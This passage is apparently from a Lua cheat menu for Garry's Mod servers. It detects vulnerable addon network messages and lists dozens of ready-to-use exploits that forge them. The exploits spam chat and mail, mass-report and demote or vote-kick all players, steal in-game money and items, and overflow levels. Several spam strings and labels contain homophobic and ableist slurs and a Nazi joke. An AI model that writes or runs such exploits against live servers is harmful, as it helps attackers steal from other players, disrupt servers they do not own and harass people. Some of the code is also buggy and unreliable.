1988 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 200), false, true)
1989 else
1990 ExitButton:SetTextColor(Color(255, 255, 255, 255))
1991 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 255), false, true)
1992 end
1993 else
1994 ExitButton:SetTextColor(Color(20, 20, 20, 200))
1995 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200, 0, 0, 200), false, true)
1996 end
1997 end
1998
1999 function ExitButton.DoClick()
2000 base:Remove()
2001 net.Start("changeToPhysgun")
2002 net.SendToServer()
2003 end
2004
2005 local DTeamChoice = vgui.Create("DComboBox", base)
2006 DTeamChoice:SetSize(150, 22)
2007 DTeamChoice:SetPos(75, 50)
2008 DTeamChoice:SetValue("Select Job")
2009
2010 for k, v in pairs(team.GetAllTeams()) do
2011 if not (HIDDEN_TEAMS[k]) and (team.NumPlayers(k) ~= 0) then
2012 DTeamChoice:AddChoice(team.GetName(k))
2013 end
2014 end
2015
2016 DTeamChoice.OnSelect = function(panel, index, value)
2017 for k, _ in pairs(team.GetAllTeams()) do
2018 if value == team.GetName(k) then
2019 for _, v in pairs(player.GetAll()) do
2020 if v:Team() == k then
2021 TeamNum = v:Team()
2022 disguise_Model_Preview_Default = v:GetModel()
2023 end
2024 end
2025 end
2026 end
2027
2028 timer.Create("RefreshModel", 0.1, 0, function()
2029 local icon = vgui.Create("DModelPanel", base)
2030 icon:SetSize(300, 260)
2031 icon:SetPos(-5, 80)
2032 icon:SetFOV(68)
2033 icon:SetModel(disguise_Model_Preview_Default)
2034
2035 timer.Simple(0.1, function()
2036 icon:Remove()
2037 end)
2038 end)
2039
2040 local DisguiseButton = vgui.Create("DButton", base)
2041 DisguiseButton:SetPos(base:GetWide() / 2.5, 360)
2042 DisguiseButton:SetSize(60, 20)
2043 DisguiseButton:SetText("Accept")
2044 DisguiseButton:SetFont("DermaDefaultBold")
2045
2046 function DisguiseButton:Paint()
2047 if DisguiseButton.Hovered then
2048 if DisguiseButton:IsDown() then
2049 DisguiseButton:SetTextColor(Color(200, 200, 200, 200))
2050 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 200))
2051 else
2052 DisguiseButton:SetTextColor(Color(255, 255, 255, 255))
2053 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 220, 0, 255))
2054 end
2055 else
2056 DisguiseButton:SetTextColor(Color(20, 20, 20, 200))
2057 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 255))
2058 end
2059 end
2060
2061 function DisguiseButton:DoClick()
2062 net.Start("SetPlayerModel")
2063
2064 if ChosenName == nil then
2065 net.WriteString(LocalPlayer():Nick())
2066 else
2067 net.WriteString(ChosenName)
2068 end
2069
2070 net.WriteUInt(TeamNum, 16)
2071 net.SendToServer()
2072 base:Close()
2073 net.Start("changeToPhysgun")
2074 net.SendToServer()
2075 end
2076 end
2077 end)
2078 end
2079
2080 status = ValidNetString("Chatbox_PlayerChat")
2081
2082 if (status) then
2083 ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
2084
2085 addExploit("42", "WilloxChat Spam", "spam in chat", function()
2086 surface.PlaySound("garrysmod/ui_click.wav")
2087 ECNotify("Starting")
2088
2089 timer.Create("willoxchatspam", 1, 0, function()
2090 net.Start("Chatbox_PlayerChat")
2091 net.WriteEntity(LocalPlayer())
2092 net.WriteBit(1)
2093 net.WriteString("FAGGOTS")
2094 net.WriteBit(1)
2095 net.SendToServer()
2096 end)
2097 end)
2098 end
2099
2100 status = ValidNetString("BuilderXToggleKill")
2101
2102 if (status) then
2103 ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
2104
2105 addExploit("43", "BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
2106 surface.PlaySound("garrysmod/ui_click.wav")
2107 ECNotify("Starting")
2108
2109 for k, v in pairs(player.GetAll()) do
2110 net.Start("BuilderXToggleKill")
2111 net.WriteEntity(ply)
2112 net.SendToServer()
2113 end
2114 end)
2115 end
2116
2117 status = ValidNetString("reports.submit")
2118
2119 if (status) then
2120 ECPrint("Found Exploit: Report All [reports.submit]")
2121
2122 addExploit("44", "Report All", "Report all faggots", function()
2123 surface.PlaySound("garrysmod/ui_click.wav")
2124 ECNotify("Starting")
2125
2126 for k, v in pairs(player.GetAll()) do
2127 net.Start("reports.submit")
2128 net.WriteEntity(v)
2129 net.WriteInt(5, 8)
2130 net.WriteString("SuckMyDick")
2131 net.SendToServer()
2132 end
2133 end)
2134 end
2135
2136 status = ValidNetString("services_accept")
2137
2138 if (status) then
2139 ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
2140
2141 addExploit("45", "Infernus Service Accept", "spam to all players", function()
2142 surface.PlaySound("garrysmod/ui_click.wav")
2143 ECNotify("Starting")
2144
2145 timer.Create("serviceaccept", 0, 0, function()
2146 for k, v in pairs(player.GetAll()) do
2147 net.Start("services_accept")
2148 net.WriteString("Nice security, retards xd")
2149 net.WriteVector(Vector(v:GetPos()))
2150 net.WriteString("test image")
2151 net.WriteEntity(v)
2152 net.SendToServer()
2153 end
2154 end)
2155
2156 timer.Simple(4, function()
2157 timer.Destroy("serviceaccept")
2158 end)
2159 end)
2160 end
2161
2162 status = ValidNetString("lockpick_sound")
2163
2164 if (status) then
2165 ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
2166
2167 addExploit("46", "LockPick Sound Spam", "", function()
2168 surface.PlaySound("garrysmod/ui_click.wav")
2169 ECNotify("Starting")
2170
2171 timer.Create("spamlockpicksound", 3, 0, function()
2172 for k, v in pairs(player.GetAll()) do
2173 net.Start("lockpick_sound")
2174 net.WriteEntity(v)
2175 net.SendToServer()
2176 end
2177 end)
2178
2179 timer.Simple(4, function()
2180 timer.Destroy("spamlockpicksound")
2181 end)
2182 end)
2183 end
2184
2185 status = ValidNetString("customprinter_get")
2186
2187 if (status) then
2188 ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
2189
2190 addExploit("47", "Realistic Printers Steal Money", "stealing money from printers", function()
2191 surface.PlaySound("garrysmod/ui_click.wav")
2192 ECNotify("Starting")
2193
2194 for k, v in pairs(ents.GetAll()) do
2195 if v:GetClass():find("print") then
2196 net.Start("customprinter_get")
2197 net.WriteEntity(v)
2198 net.WriteString("g_money")
2199 net.SendToServer()
2200 end
2201 end
2202 end)
2203 end
2204
2205 status = ValidNetString("InformPlayer")
2206
2207 if (status) then
2208 ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
2209
2210 addExploit("48", "SimpleGrab Inform", "Spam all players in the console", function()
2211 surface.PlaySound("garrysmod/ui_click.wav")
2212 ECNotify("Starting")
2213
2214 for k, v in pairs(player.GetAll()) do
2215 for i = 0, 100 do
2216 net.Start("InformPlayer")
2217 net.WriteEntity(v)
2218 net.SendToServer()
2219 end
2220 end
2221 end)
2222 end
2223
2224 status = ValidNetString("pogcp_report_submitReport")
2225
2226 if (status) then
2227 ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
2228
2229 addExploit("49", "Report All #2", "Report all faggots", function()
2230 surface.PlaySound("garrysmod/ui_click.wav")
2231 ECNotify("Starting")
2232
2233 for i = 0, 100 do
2234 for k, v in pairs(player.GetAll()) do
2235 net.Start("pogcp_report_submitReport")
2236 net.WriteString("lol")
2237 net.WriteString("nice security retards")
2238 net.WriteEntity(v)
2239 net.SendToServer()
2240 end
2241 end
2242 end)
2243 end
2244
2245 status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
2246
2247 if (status) then
2248 ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
2249
2250 addExploit("50", "Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
2251 surface.PlaySound("garrysmod/ui_click.wav")
2252 ECNotify("Starting")
2253 net.Start("1942_Fuhrer_SubmitCandidacy")
2254 net.WriteString(LocalPlayer():Nick())
2255 net.SendToServer()
2256 end)
2257 end
2258
2259 status = ValidNetString("FacCreate")
2260
2261 if (status) then
2262 ECPrint("Found Exploit: Fac Create [FacCreate]")
2263
2264 addExploit("51", "Fac Create", "old exploit", function()
2265 surface.PlaySound("garrysmod/ui_click.wav")
2266 ECNotify("Starting")
2267
2268 timer.Create("fucklol", 1, 0, function()
2269 net.Start("FacCreate")
2270 net.WriteString("LOL " .. random_string(5))
2271 net.WriteString("LOL " .. random_string(10))
2272 net.WriteColor(random_color())
2273 net.WriteBool(false)
2274 net.WriteString(random_string(5))
2275 net.SendToServer()
2276 end)
2277 end)
2278 end
2279
2280 status = ValidNetString("FactionInviteConsole")
2281
2282 if (status) then
2283 ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
2284
2285 addExploit("52", "Faction Invite", "", function()
2286 surface.PlaySound("garrysmod/ui_click.wav")
2287 ECNotify("Starting")
2288
2289 timer.Create("lovedarkexploitsxd", 1, 0, function()
2290 for k, v in pairs(player.GetAll()) do
2291 net.Start("FactionInviteConsole")
2292 net.WriteEntity(ply)
2293 net.WriteEntity(table.Random(player.GetAll()))
2294 net.SendToServer()
2295 end
2296 end)
2297 end)
2298 end
2299
2300 status = ValidNetString("WithdrewBMoney")
2301
2302 if (status) then
2303 ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
2304
2305 addExploit("53", "Free Money #2", "an exploit in the addon 'business'", function()
2306 surface.PlaySound("garrysmod/ui_click.wav")
2307 ECNotify("Starting")
2308 net.Start("WithdrewBMoney")
2309 net.WriteInt(50000, 32)
2310 net.SendToServer()
2311 end)
2312 end
2313
2314 status = ValidNetString("deathrag_takeitem")
2315
2316 if (status) then
2317 ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
2318
2319 addExploit("54", "Easy Items", "collects money, weapons", function()
2320 surface.PlaySound("garrysmod/ui_click.wav")
2321 ECNotify("Starting")
2322 count = 0
2323
2324 for k, v in pairs(ents.GetAll()) do
2325 if v:GetClass() == "prop_ragdoll" then
2326 count = count + 1
2327 end
2328 end
2329
2330 if count == 0 then
2331 ECPrint("No items found")
2332 else
2333 ECPrint("Amount of items " .. count)
2334 end
2335
2336 for k, v in pairs(ents.GetAll()) do
2337 if v:GetClass() == "prop_ragdoll" then
2338 for i = 1, 10 do
2339 net.Start("deathrag_takeitem")
2340 net.WriteEntity(v)
2341 net.WriteInt(i, 16)
2342 net.SendToServer()
2343 end
2344 end
2345 end
2346 end)
2347 end
2348
2349 status = ValidNetString("REPPurchase")
2350
2351 if (status) then
2352 ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
2353
2354 addExploit("55", "Heal and Armor", "armor and hp", function()
2355 surface.PlaySound("garrysmod/ui_click.wav")
2356 ECNotify("Starting")
2357
2358 if LocalPlayer():Health() < 99 then
2359 net.Start("REPPurchase")
2360 net.WriteString("HEALTH")
2361 net.SendToServer()
2362 end
2363
2364 if LocalPlayer():Armor() < 99 then
2365 net.Start("REPPurchase")
2366 net.WriteString("ARMOR")
2367 net.SendToServer()
2368 end
2369 end)
2370 end
2371
2372 status = ValidNetString("BTTTStartVotekick")
2373
2374 if (status) then
2375 ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
2376
2377 addExploit("56", "Votekick #2", "kick all noobs", function()
2378 surface.PlaySound("garrysmod/ui_click.wav")
2379 ECNotify("Starting")
2380
2381 for k, v in pairs(player.GetAll()) do
2382 if v ~= LocalPlayer() then
2383 net.Start("BTTTStartVotekick")
2384 net.Start("_nonDBVMVote")
2385 net.WriteEntity(v)
2386 net.WriteString("")
2387 net.WriteString("1")
2388 net.SendToServer()
2389 end
2390 end
2391 end)
2392 end
2393
2394 status = ValidNetString("Resupply")
2395
2396 if (status) then
2397 ECPrint("Found Exploit: Respawn Equipment [Resupply]")
2398
2399 addExploit("57", "Respawn Equipment", "", function()
2400 surface.PlaySound("garrysmod/ui_click.wav")
2401 ECNotify("Starting")
2402 net.Start("Resupply")
2403 net.SendToServer()
2404 end)
2405 end
2406
2407 status = ValidNetString("DarkRP_Defib_ForceSpawn")
2408
2409 if (status) then
2410 ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
2411
2412 addExploit("58", "Respawn #2", "just respawn", function()
2413 surface.PlaySound("garrysmod/ui_click.wav")
2414 ECNotify("Respawn")
2415 net.Start("DarkRP_Defib_ForceSpawn")
2416 net.SendToServer()
2417 end)
2418 end
2419
2420 status = ValidNetString("FiremanLeave")
2421
2422 if (status) then
2423 ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
2424
2425 addExploit("59", "Fireman Leave", "", function()
2426 surface.PlaySound("garrysmod/ui_click.wav")
2427 ECNotify("Starting")
2428 net.Start("FiremanLeave")
2429 net.SendToServer()
2430 end)
2431 end
2432
2433 status = ValidNetString("PoliceJoin")
2434
2435 if (status) then
2436 ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
2437
2438 addExploit("60", "Join the Police 1", "joining the police", function()
2439 surface.PlaySound("garrysmod/ui_click.wav")
2440 ECNotify("Starting")
2441 net.Start("PoliceJoin")
2442 net.SendToServer()
2443 end)
2444 end
2445
2446 status = ValidNetString("CreateEntity")
2447
2448 if (status) then
2449 ECPrint("Found Exploit: Create Entity [CreateEntity]")
2450
2451 addExploit("61", "Create Entity", "", function()
2452 surface.PlaySound("garrysmod/ui_click.wav")
2453 ECNotify("Starting")
2454
2455 for k, v in pairs(player.GetAll()) do
2456 net.Start("CreateEntity")
2457 net.WriteString("sent_arc_atm")
2458 net.WriteFloat(100000000000000000000000000000000000000000000000000)
2459 net.WriteEntity(v)
2460 net.SendToServer()
2461 end
2462 end)
2463 end
2464
2465 status = ValidNetString("CREATE_REPORT")
2466
2467 if (status) then
2468 ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
2469
2470 addExploit("62", "CREATE REPORT", "", function()
2471 surface.PlaySound("garrysmod/ui_click.wav")
2472 ECNotify("Starting")
2473
2474 local tab = {
2475 REPORTER = v:Nick(),
2476 REPORTERID = v:SteamID(),
2477 FAGGOT = v:Nick(),
2478 FAGGOTID = v:SteamID(),
2479 INFO = "Say hi to youtube",
2480 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
2481 }
2482
2483 for k, v in pairs(player.GetAll()) do
2484 net.Start("CREATE_REPORT")
2485 net.WriteTable(tab)
2486 net.SendToServer()
2487 end
2488 end)
2489 end
2490
2491 status = ValidNetString("Hopping_Test")
2492
2493 if (status) then
2494 ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
2495
2496 addExploit("62", "Hopping Test", "", function()
2497 surface.PlaySound("garrysmod/ui_click.wav")
2498 ECNotify("Starting")
2499
2500 for k, v in pairs(player.GetAll()) do
2501 net.Start("Hopping_Test")
2502 net.WriteEntity(v)
2503 net.WriteString("69.696.696969.69")
2504 net.SendToServer()
2505 end
2506 end)
2507 end
2508
2509 status = ValidNetString("CpForm_Answers")
2510
2511 if (status) then
2512 ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
2513
2514 addExploit("63", "Join the Police 2", "joining the police #2", function()
2515 surface.PlaySound("garrysmod/ui_click.wav")
2516 ECNotify("Starting")
2517 net.Start("CpForm_Answers")
2518 net.WriteEntity(LocalPlayer())
2519 net.WriteTable({})
2520 net.SendToServer()
2521 end)
2522 end
2523
2524 status = ValidNetString("VehicleUnderglow")
2525
2526 if (status) then
2527 ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
2528
2529 addExploit("64", "Vehicle Underglow", "", function()
2530 surface.PlaySound("garrysmod/ui_click.wav")
2531 ECNotify("Starting")
2532 net.Start("VehicleUnderglow")
2533 net.SendToServer()
2534 end)
2535 end
2536
2537 status = ValidNetString("OpenGates")
2538
2539 if (status) then
2540 ECPrint("Found Exploit: Open Door #2 [OpenGates]")
2541
2542 addExploit("65", "Open Door #2", "Force open the door you are looking at", function()
2543 surface.PlaySound("garrysmod/ui_click.wav")
2544 ECNotify("Starting")
2545 net.Start("OpenGates")
2546 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
2547 net.SendToServer()
2548 end)
2549 end
2550
2551 status = ValidNetString("DemotePlayer")
2552
2553 if (status) then
2554 ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
2555
2556 addExploit("66", "Demote All Players", "Demote all players", function()
2557 surface.PlaySound("garrysmod/ui_click.wav")
2558 ECNotify("Starting")
2559
2560 for k, v in pairs(player.GetAll()) do
2561 net.Start("DemotePlayer")
2562 net.WriteString(v:SteamID())
2563 net.SendToServer()
2564 end
2565 end)
2566 end
2567
2568 status = ValidNetString("SendMail")
2569
2570 if (status) then
2571 ECPrint("Found Exploit: Send Mail [SendMail]")
2572
2573 addExploit("67", "Send Mail", "sending mail to all players", function()
2574 surface.PlaySound("garrysmod/ui_click.wav")
2575 ECNotify("Starting")
2576
2577 for k, v in pairs(player.GetAll()) do
2578 net.Start("SendMail")
2579 net.WriteString("haha nice security retards")
2580 net.WriteString(v:Nick())
2581 net.SendToServer()
2582 end
2583 end)
2584 end
2585
2586 status = ValidNetString("REPAdminChangeLVL")
2587
2588 if (status) then
2589 ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
2590
2591 addExploit("68", "Admin Change Level", "free lvl", function()
2592 surface.PlaySound("garrysmod/ui_click.wav")
2593 ECNotify("Starting")
2594
2595 for k, v in pairs(player.GetAll()) do
2596 net.Start("REPAdminChangeLVL")
2597 net.WriteEntity(v)
2598 net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2599 net.SendToServer()
2600 end
2601 end)
2602 end
2603
2604 status = ValidNetString("BuyUpgradesStuff")
2605
2606 if (status) then
2607 ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
2608
2609 addExploit("69", "Buy Upgrades", "free upgrades", function()
2610 surface.PlaySound("garrysmod/ui_click.wav")
2611 ECNotify("Starting")
2612 net.Start("BuyUpgradesStuff")
2613 net.WriteString("")
2614 net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2615 net.SendToServer()
2616 end)
2617 end
2618
2619 status = ValidNetString("SquadGiveWeapon")
2620
2621 if (status) then
2622 ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
2623
2624 addExploit("70", "Give Weapons", "easy weapon", function()
2625 surface.PlaySound("garrysmod/ui_click.wav")
2626 inputFrameExists = true
2627 inputFrame = vgui.Create("DFrame")
2628 inputFrame:SetTitle("Choose a weapon!")
2629 inputFrame:SetSize(400, 75)
2630 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2631 inputFrame:SetDraggable(false)
2632 inputFrame:ShowCloseButton(true)
2633 inputFrame:MakePopup()
2634
2635 inputFrame.Paint = function(self, w, h)
2636 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2637 end
2638
2639 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2640 TextEntry:SetSize(380, 30)
2641 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2642 TextEntry:SetText("ls_sniper")
2643
2644 TextEntry.OnEnter = function(self)
2645 surface.PlaySound("garrysmod/ui_click.wav")
2646 ECNotify("Giving Weapon")
2647 net.Start("SquadGiveWeapon")
2648 net.WriteString(self:GetValue())
2649 net.WriteEntity(LocalPlayer())
2650 net.SendToServer()
2651 inputFrame:SetVisible(false)
2652 end
2653 end)
2654 end
2655
2656 status = ValidNetString("SetTableTarget")
2657
2658 if (status) then
2659 ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
2660
2661 addExploit("71", "Set Table Target", "", function()
2662 surface.PlaySound("garrysmod/ui_click.wav")
2663 ECNotify("Starting")
2664 net.Start("SetTableTarget")
2665 net.WriteString("pername")
2666 net.WriteString("perjob")
2667 net.WriteInt(-10000000000000, 32)
2668 net.WriteString("hitmansel")
2669 net.WriteString("Anony.")
2670 net.WriteString("")
2671 net.WriteFloat(0)
2672 net.WriteInt(-10000000000000, 32)
2673 net.SendToServer()
2674 end)
2675 end
2676
2677 status = ValidNetString("UpdateRPUModelSQL")
2678
2679 if (status) then
2680 ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
2681
2682 addExploit("72", "Change character model", "", function()
2683 surface.PlaySound("garrysmod/ui_click.wav")
2684 ECNotify("Starting")
2685 net.Start("UpdateRPUModelSQL")
2686 net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
2687 net.SendToServer()
2688 end)
2689 end
2690
2691 status = ValidNetString("disguise")
2692
2693 if (status) then
2694 ECPrint("Found Exploit: Disguise [disguise]")
2695
2696 addExploit("73", "Disguise", "allows you to disguise as any job", function()
2697 surface.PlaySound("garrysmod/ui_click.wav")
2698 inputFrameExists = true
2699 inputFrame = vgui.Create("DFrame")
2700 inputFrame:SetTitle("Enter the number of the job")
2701 inputFrame:SetSize(400, 75)
2702 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2703 inputFrame:SetDraggable(false)
2704 inputFrame:ShowCloseButton(true)
2705 inputFrame:MakePopup()
2706
2707 inputFrame.Paint = function(self, w, h)
2708 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2709 end
2710
2711 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2712 TextEntry:SetSize(380, 30)
2713 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2714 TextEntry:SetText("5")
2715
2716 TextEntry.OnEnter = function(self)
2717 surface.PlaySound("garrysmod/ui_click.wav")
2718 ECNotify("Disguised")
2719 net.Start("disguise")
2720 net.WriteInt(tonumber(self:GetValue()), 32)
2721 net.SendToServer()
2722 inputFrame:SetVisible(false)
2723 end
2724 end)
2725 end
2726
2727 status = ValidNetString("gportal_rpname_change")
2728
2729 if (status) then
2730 ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
2731
2732 addExploit("74", "Your RP Name #1", "allows you to put absolutely any rp name", function()
2733 surface.PlaySound("garrysmod/ui_click.wav")
2734 inputFrameExists = true
2735 inputFrame = vgui.Create("DFrame")
2736 inputFrame:SetTitle("Enter your name")
2737 inputFrame:SetSize(400, 75)
2738 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2739 inputFrame:SetDraggable(false)
2740 inputFrame:ShowCloseButton(true)
2741 inputFrame:MakePopup()
2742
2743 inputFrame.Paint = function(self, w, h)
2744 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2745 end
2746
2747 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2748 TextEntry:SetSize(380, 30)
2749 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2750 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2751
2752 TextEntry.OnEnter = function(self)
2753 surface.PlaySound("garrysmod/ui_click.wav")
2754 ECNotify("Changed")
2755 net.Start("gportal_rpname_change")
2756 net.WriteString((self:GetValue()), 32)
2757 net.WriteString(" ")
2758 net.SendToServer()
2759 inputFrame:SetVisible(false)
2760 end
2761 end)
2762 end
2763
2764 status = ValidNetString("NewRPNameSQL")
2765
2766 if (status) then
2767 ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
2768
2769 addExploit("75", "Your RP Name #2", "allows you to put absolutely any rp name", function()
2770 surface.PlaySound("garrysmod/ui_click.wav")
2771 inputFrameExists = true
2772 inputFrame = vgui.Create("DFrame")
2773 inputFrame:SetTitle("Enter your name")
2774 inputFrame:SetSize(400, 75)
2775 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2776 inputFrame:SetDraggable(false)
2777 inputFrame:ShowCloseButton(true)
2778 inputFrame:MakePopup()
2779
2780 inputFrame.Paint = function(self, w, h)
2781 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2782 end
2783
2784 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2785 TextEntry:SetSize(380, 30)
2786 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2787 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2788
2789 TextEntry.OnEnter = function(self)
2790 surface.PlaySound("garrysmod/ui_click.wav")
2791 ECNotify("Changed")
2792 net.Start("NewRPNameSQL")
2793 net.WriteString((self:GetValue()), 32)
2794 net.SendToServer()
2795 inputFrame:SetVisible(false)
2796 end
2797 end)
2798 end
2799
2800 status = ValidNetString("chname")
2801
2802 if (status) then
2803 ECPrint("Found Exploit: Your RP Name #3 [chname]")
2804
2805 addExploit("76", "Your RP Name #3", "discovered by Leith", function()
2806 surface.PlaySound("garrysmod/ui_click.wav")
2807 inputFrameExists = true
2808 inputFrame = vgui.Create("DFrame")
2809 inputFrame:SetTitle("Enter your name")
2810 inputFrame:SetSize(400, 75)
2811 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2812 inputFrame:SetDraggable(false)
2813 inputFrame:ShowCloseButton(true)
2814 inputFrame:MakePopup()
2815
2816 inputFrame.Paint = function(self, w, h)
2817 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2818 end
2819
2820 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2821 TextEntry:SetSize(380, 30)
2822 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2823 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2824
2825 TextEntry.OnEnter = function(self)
2826 surface.PlaySound("garrysmod/ui_click.wav")
2827 ECNotify("Changed")
2828 net.Start("chname")
2829 net.WriteString((self:GetValue()))
2830 net.WriteString(" ")
2831 net.SendToServer()
2832 inputFrame:SetVisible(false)
2833 end
2834 end)
2835 end
2836
2837 status = ValidNetString("AbilityUse")
2838
2839 if (status) then
2840 ECPrint("Found Exploit: Free Bonus [AbilityUse]")
2841
2842 addExploit("77", "Free Bonus", "allows you to instantly get bonuses", function()
2843 surface.PlaySound("garrysmod/ui_click.wav")
2844
2845 for k, v in ipairs(rp.abilities.list) do
2846 ECPrint("ID - " .. k .. " | " .. v:GetName())
2847 inputFrameExists = true
2848 inputFrame = vgui.Create("DFrame")
2849 inputFrame:SetTitle("Enter the id of the bonus")
2850 inputFrame:SetSize(400, 75)
2851 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2852 inputFrame:SetDraggable(false)
2853 inputFrame:ShowCloseButton(true)
2854 inputFrame:MakePopup()
2855
2856 inputFrame.Paint = function(self, w, h)
2857 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2858 end
2859
2860 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2861 TextEntry:SetSize(380, 30)
2862 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2863 TextEntry:SetText("6")
2864
2865 TextEntry.OnEnter = function(self)
2866 surface.PlaySound("garrysmod/ui_click.wav")
2867 ECNotify("Received")
2868 net.Start("AbilityUse")
2869 net.WriteInt(tonumber(self:GetValue()), 32)
2870 net.SendToServer()
2871 inputFrame:SetVisible(false)
2872 end
2873 end
2874 end)
2875 end
2876
2877 status = ValidNetString("race_accept")
2878
2879 if (status) then
2880 ECPrint("Found Exploit: Get Car [race_accept]")
2881
2882 addExploit("78", "Get Car", "", function()
2883 surface.PlaySound("garrysmod/ui_click.wav")
2884 inputFrameExists = true
2885 inputFrame = vgui.Create("DFrame")
2886 inputFrame:SetTitle("Enter the id of the car")
2887 inputFrame:SetSize(400, 75)
2888 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2889 inputFrame:SetDraggable(false)
2890 inputFrame:ShowCloseButton(true)
2891 inputFrame:MakePopup()
2892
2893 inputFrame.Paint = function(self, w, h)
2894 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2895 end
2896
2897 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2898 TextEntry:SetSize(380, 30)
2899 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2900 TextEntry:SetText("1")
2901
2902 TextEntry.OnEnter = function(self)
2903 surface.PlaySound("garrysmod/ui_click.wav")
2904 ECNotify("Starting")
2905 net.Start("race_accept")
2906 net.WriteInt(tonumber(self:GetValue()), 32)
2907 net.SendToServer()
2908 end
2909 end)
2910 end
2911
2912 status = ValidNetString("NLR_SPAWN")
2913
2914 if (status) then
2915 ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
2916
2917 addExploit("79", "Respawn #3", "instant revival", function()
2918 surface.PlaySound("garrysmod/ui_click.wav")
